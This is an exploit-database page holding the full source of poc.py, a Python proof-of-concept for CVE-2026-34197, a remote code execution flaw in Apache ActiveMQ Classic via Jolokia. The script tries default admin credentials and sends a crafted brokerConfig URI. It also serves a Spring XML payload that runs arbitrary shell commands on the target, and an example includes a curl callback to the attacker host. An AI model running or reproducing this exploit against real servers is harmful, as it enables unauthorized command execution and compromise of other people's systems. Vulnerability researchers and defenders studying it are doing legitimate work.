Exploit database

GH-b165db19c030646bdbb5ceb18111815b

dinosn/apache-activemq-rce-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-34197

11 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

01-original-cve-2026-34197/poc.py

Python · 13,791 bytes
#!/usr/bin/env python3
"""
CVE-2026-34197 - Apache ActiveMQ Classic RCE via Jolokia JMX-HTTP Bridge
Proof of Concept

Exploits improper input validation in BrokerView.addNetworkConnector()
to load a remote Spring XML application context via the VM transport's
brokerConfig parameter, achieving pre-validation code execution.

Affected: ActiveMQ Classic < 5.19.4, 6.0.0 - < 6.2.3
Fixed in: 5.19.4, 6.2.3

FOR AUTHORIZED SECURITY TESTING ONLY.

Usage:
    python3 poc.py --target <activemq_host> --lhost <attacker_ip> [options]

    # Step 1: Start the payload server (in a separate terminal or use --serve)
    python3 poc.py --serve --lhost 0.0.0.0 --lport 8888

    # Step 2: Send the exploit
    python3 poc.py --target 192.168.1.100 --lhost 10.0.0.1 --lport 8888

    # Combined (serves payload, sends exploit, cleans up):
    python3 poc.py --target 192.168.1.100 --lhost 10.0.0.1 --auto
"""

import argparse
import http.server
import json
import os
import sys
import textwrap
import threading
import time
import urllib.parse
import urllib.request

# Default ActiveMQ web console credentials
DEFAULT_USER = "admin"
DEFAULT_PASS = "admin"
DEFAULT_CONSOLE_PORT = 8161
DEFAULT_PAYLOAD_PORT = 8888

# Jolokia API endpoint path
JOLOKIA_PATH = "/api/jolokia/"

# Spring XML payload template
# Uses ProcessBuilder + Process.start() for reliable cross-platform execution
SPRING_XML_TEMPLATE = textwrap.dedent("""\
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>{command}</value>
      </list>
    </constructor-arg>
    <property name="redirectErrorStream" value="true"/>
  </bean>

  <bean id="exec" class="java.lang.Process"
        factory-bean="pb" factory-method="start"/>

</beans>
""")


def build_jolokia_payload(mbean_name: str, operation: str, uri: str) -> dict:
    """Build a Jolokia exec request body."""
    return {
        "type": "exec",
        "mbean": mbean_name,
        "operation": operation,
        "arguments": [uri],
    }


def build_exploit_uri(lhost: str, lport: int, xml_path: str = "poc-payload.xml") -> str:
    """
    Build the crafted VM transport URI with brokerConfig pointing to
    a remote Spring XML application context.

    Format: static:(vm://evil?brokerConfig=xbean:http://<lhost>:<lport>/<xml_path>)

    - static:() wraps the URI as a network connector discovery URI
    - vm://evil references a non-existent broker, forcing dynamic creation
    - brokerConfig=xbean:http://... triggers XBeanBrokerFactory to load
      the remote Spring XML via ResourceXmlApplicationContext
    """
    return f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/{xml_path})"


def send_exploit(
    target: str,
    port: int,
    username: str,
    password: str,
    lhost: str,
    lport: int,
    use_add_connector: bool = False,
    broker_name: str = "localhost",
) -> dict:
    """
    Send the Jolokia exec request to trigger the exploit.

    Calls addNetworkConnector (or addConnector) on the Broker MBean
    with a crafted vm:// URI.
    """
    # Build the exploit URI
    exploit_uri = build_exploit_uri(lhost, lport)

    # Choose the MBean operation (full JMX signature required)
    operation = "addConnector(java.lang.String)" if use_add_connector else "addNetworkConnector(java.lang.String)"

    # Build Jolokia request
    mbean = f"org.apache.activemq:type=Broker,brokerName={broker_name}"
    payload = build_jolokia_payload(mbean, operation, exploit_uri)

    # Build HTTP request
    url = f"http://{target}:{port}{JOLOKIA_PATH}"
    data = json.dumps(payload).encode("utf-8")

    req = urllib.request.Request(
        url,
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    # Add basic auth and Origin header (Jolokia enforces origin check)
    credentials = f"{username}:{password}"
    import base64
    b64_creds = base64.b64encode(credentials.encode()).decode()
    req.add_header("Authorization", f"Basic {b64_creds}")
    req.add_header("Origin", f"http://{target}:{port}")

    print(f"[*] Target:    http://{target}:{port}")
    print(f"[*] Operation: {mbean} -> {operation}")
    print(f"[*] Payload:   {exploit_uri}")
    print(f"[*] Auth:      {username}:{'*' * len(password)}")
    print()

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            body = json.loads(resp.read().decode())
            print(f"[+] Response status: {resp.status}")
            print(f"[+] Jolokia response: {json.dumps(body, indent=2)}")
            return body
    except urllib.error.HTTPError as e:
        body = e.read().decode()
        print(f"[-] HTTP {e.code}: {e.reason}")
        print(f"[-] Response: {body[:500]}")
        # A 200 with error in Jolokia JSON is normal - the connector creation
        # fails AFTER the Spring XML has already been loaded and executed.
        # The RCE happens during bean instantiation, before config validation.
        if e.code == 500:
            print()
            print("[!] 500 error may still indicate successful RCE.")
            print("[!] Spring XML beans are instantiated BEFORE config validation.")
            print("[!] Check the target for evidence of command execution.")
        return {"error": str(e)}
    except Exception as e:
        print(f"[-] Error: {e}")
        return {"error": str(e)}


class PayloadHandler(http.server.SimpleHTTPRequestHandler):
    """HTTP handler that serves the malicious Spring XML payload."""

    xml_content = b""
    request_received = threading.Event()

    def do_GET(self):
        print(f"[+] Incoming request: {self.client_address[0]} -> GET {self.path}")
        PayloadHandler.request_received.set()
        self.send_response(200)
        self.send_header("Content-Type", "application/xml")
        self.send_header("Content-Length", str(len(PayloadHandler.xml_content)))
        self.end_headers()
        self.wfile.write(PayloadHandler.xml_content)

    def log_message(self, format, *args):
        # Suppress default logging, we handle it in do_GET
        pass


def serve_payload(lhost: str, lport: int, command: str) -> http.server.HTTPServer:
    """Start an HTTP server to serve the malicious Spring XML."""
    xml = SPRING_XML_TEMPLATE.format(command=command)
    PayloadHandler.xml_content = xml.encode("utf-8")
    PayloadHandler.request_received.clear()

    # Always bind on 0.0.0.0 so the server is reachable from Docker containers
    # The lhost parameter is only used in the exploit URI (what the target fetches)
    server = http.server.HTTPServer(("0.0.0.0", lport), PayloadHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    print(f"[*] Payload server listening on {lhost}:{lport}")
    return server


def check_target(target: str, port: int, username: str, password: str) -> bool:
    """Check if the target is running ActiveMQ with Jolokia accessible."""
    url = f"http://{target}:{port}{JOLOKIA_PATH}"
    req = urllib.request.Request(url, method="GET")

    import base64
    credentials = f"{username}:{password}"
    b64_creds = base64.b64encode(credentials.encode()).decode()
    req.add_header("Authorization", f"Basic {b64_creds}")
    req.add_header("Origin", f"http://{target}:{port}")

    try:
        with urllib.request.urlopen(req, timeout=5) as resp:
            body = json.loads(resp.read().decode())
            agent = body.get("value", {}).get("agent", "unknown")
            print(f"[+] Jolokia agent detected: {agent}")
            return True
    except urllib.error.HTTPError as e:
        if e.code == 401:
            print(f"[-] Authentication failed ({e.code}). Check credentials.")
        elif e.code == 403:
            print(f"[-] Access forbidden ({e.code}). Jolokia may be restricted.")
        else:
            print(f"[-] HTTP error: {e.code} {e.reason}")
        return False
    except Exception as e:
        print(f"[-] Cannot reach Jolokia at {url}: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34197 - ActiveMQ RCE via Jolokia",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""\
            Examples:
              # Check if target is vulnerable
              python3 poc.py --target 192.168.1.100 --check

              # Run full exploit (starts payload server + sends exploit)
              python3 poc.py --target 192.168.1.100 --lhost 10.0.0.1 --auto

              # Custom command
              python3 poc.py --target 192.168.1.100 --lhost 10.0.0.1 --auto \\
                  --command "curl http://10.0.0.1:9999/callback"

              # Serve payload only (attacker machine)
              python3 poc.py --serve --lhost 0.0.0.0 --lport 8888
        """),
    )
    parser.add_argument("--target", "-t", help="ActiveMQ target host")
    parser.add_argument("--port", "-p", type=int, default=DEFAULT_CONSOLE_PORT,
                        help=f"Web console port (default: {DEFAULT_CONSOLE_PORT})")
    parser.add_argument("--user", "-u", default=DEFAULT_USER,
                        help=f"Web console username (default: {DEFAULT_USER})")
    parser.add_argument("--password", "-P", default=DEFAULT_PASS,
                        help=f"Web console password (default: {DEFAULT_PASS})")
    parser.add_argument("--lhost", help="Attacker IP for payload callback")
    parser.add_argument("--lport", type=int, default=DEFAULT_PAYLOAD_PORT,
                        help=f"Attacker port for payload server (default: {DEFAULT_PAYLOAD_PORT})")
    parser.add_argument("--command", "-c", default="id > /tmp/cve-2026-34197-pwned.txt",
                        help="Command to execute on target")
    parser.add_argument("--broker-name", default="localhost",
                        help="ActiveMQ broker name (default: localhost)")
    parser.add_argument("--use-add-connector", action="store_true",
                        help="Use addConnector instead of addNetworkConnector")
    parser.add_argument("--check", action="store_true",
                        help="Only check if Jolokia is accessible")
    parser.add_argument("--serve", action="store_true",
                        help="Only serve the payload (don't send exploit)")
    parser.add_argument("--auto", action="store_true",
                        help="Auto mode: start server, send exploit, wait for callback")

    args = parser.parse_args()

    print("=" * 65)
    print("  CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia")
    print("  Improper Input Validation in BrokerView MBean Operations")
    print("  FOR AUTHORIZED SECURITY TESTING ONLY")
    print("=" * 65)
    print()

    # Serve-only mode
    if args.serve:
        if not args.lhost:
            parser.error("--lhost is required for --serve mode")
        server = serve_payload(args.lhost, args.lport, args.command)
        print(f"[*] Serving payload. Waiting for connections...")
        print(f"[*] Press Ctrl+C to stop.")
        try:
            server.serve_forever()
        except KeyboardInterrupt:
            print("\n[*] Server stopped.")
        return

    if not args.target:
        parser.error("--target is required")

    # Check-only mode
    if args.check:
        print(f"[*] Checking target {args.target}:{args.port}...")
        if check_target(args.target, args.port, args.user, args.password):
            print("[+] Target appears vulnerable (Jolokia accessible).")
        else:
            print("[-] Target may not be vulnerable or is unreachable.")
        return

    if not args.lhost:
        parser.error("--lhost is required for exploit mode")

    # Auto mode: start server, send exploit, wait
    if args.auto:
        print(f"[*] Command to execute: {args.command}")
        print()

        # Step 1: Check target
        print("[*] Step 1: Checking target...")
        if not check_target(args.target, args.port, args.user, args.password):
            print("[-] Target check failed. Aborting.")
            sys.exit(1)
        print()

        # Step 2: Start payload server
        print("[*] Step 2: Starting payload server...")
        server = serve_payload(args.lhost, args.lport, args.command)
        print()

        # Step 3: Send exploit
        print("[*] Step 3: Sending exploit...")
        result = send_exploit(
            args.target, args.port, args.user, args.password,
            args.lhost, args.lport, args.use_add_connector, args.broker_name,
        )
        print()

        # Step 4: Wait for callback
        print("[*] Step 4: Waiting for payload fetch (5s timeout)...")
        if PayloadHandler.request_received.wait(timeout=5):
            print("[+] Payload was fetched by target!")
            print("[+] RCE likely succeeded. Check target for evidence:")
            print(f"    -> {args.command}")
        else:
            print("[-] No callback received within timeout.")
            print("[-] Target may not be vulnerable or cannot reach attacker.")

        server.shutdown()
        return

    # Manual mode: just send the exploit (payload server must be running separately)
    print(f"[*] Ensure payload server is running at {args.lhost}:{args.lport}")
    print()
    send_exploit(
        args.target, args.port, args.user, args.password,
        args.lhost, args.lport, args.use_add_connector, args.broker_name,
    )


if __name__ == "__main__":
    main()